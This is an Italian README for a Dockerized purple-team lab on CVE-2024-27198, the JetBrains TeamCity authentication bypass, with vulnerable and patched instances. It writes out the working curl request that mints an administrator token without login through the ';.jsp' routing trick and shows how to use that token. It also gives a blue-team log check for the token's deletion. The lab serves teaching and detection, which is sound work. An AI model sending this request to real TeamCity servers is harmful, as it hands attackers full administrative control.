Laboratorio per il CVE-2024-27198
Laboratorio dimostrativo di Vulnerability Research e Purple Team per il bypass dell'autenticazione di JetBrains TeamCity (CVE-2024-27198)
TeamCity fornisce una pagina riservata agli amministratori per la gestione dei token che non è protetta dall'autenticazione. Ciò consente a un utente non autenticato di generare un token di accesso per l'utente amministratore se riesce a trovare l'ID di un utente esistente.
Questo repository contiene un laboratorio Dockerizzato completo e riproducibile con ambienti TeamCity sia vulnerabili (:8111) che corretti (:8112), script di sfruttamento automatizzati (exploit.py), procedure guidate di caccia ai log per il Blue Team e un simulatore live di eventi SIEM (siem_simulator.py).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
La vulnerabilità risiede nel meccanismo di routing della REST API. Aggiungendo caratteri specifici (come ?jsp=/app/rest/...;.jsp) a un endpoint non autenticato, gli attaccanti possono indurre il server web di TeamCity a instradare la richiesta verso un endpoint autenticato aggirando i filtri di sicurezza. Ciò non richiede alcuna conoscenza o accesso preliminare, rendendola una pura 9.8 CVSS.
Per ottenere una copia locale di questo lab e avviarla, segui questi semplici passaggi di esempio.
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
Nome utente:
admin
Password:
admin
Richiesta GET per una risorsa senza autenticazione:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Entrambi dovrebbero restituire un errore con codice di stato 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Questo dovrebbe restituire un token come questo (il token è diverso ogni volta):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Questo dovrebbe restituire un errore con codice di stato 401 perché l'istanza corretta non presenta la vulnerabilità.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Dovrebbe restituire l'elenco degli utenti.
Durante la dimostrazione sul laboratorio, puoi mostrare un'importante scoperta del Blue Team: per impostazione predefinita, questa vulnerabilità è incredibilmente stealth!
;.jsp non vengono registrate.Quindi come lo individuiamo? Quando l'attaccante ripulisce le proprie tracce! Quando l'attaccante elimina il proprio token malevolo per nascondersi, TeamCity registra quell'azione.
Individua l'attaccante che copre le proprie tracce nei log di audit:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Vedrai una voce di log che indica che il token "REDTEAM" è stato eliminato).
docker compose down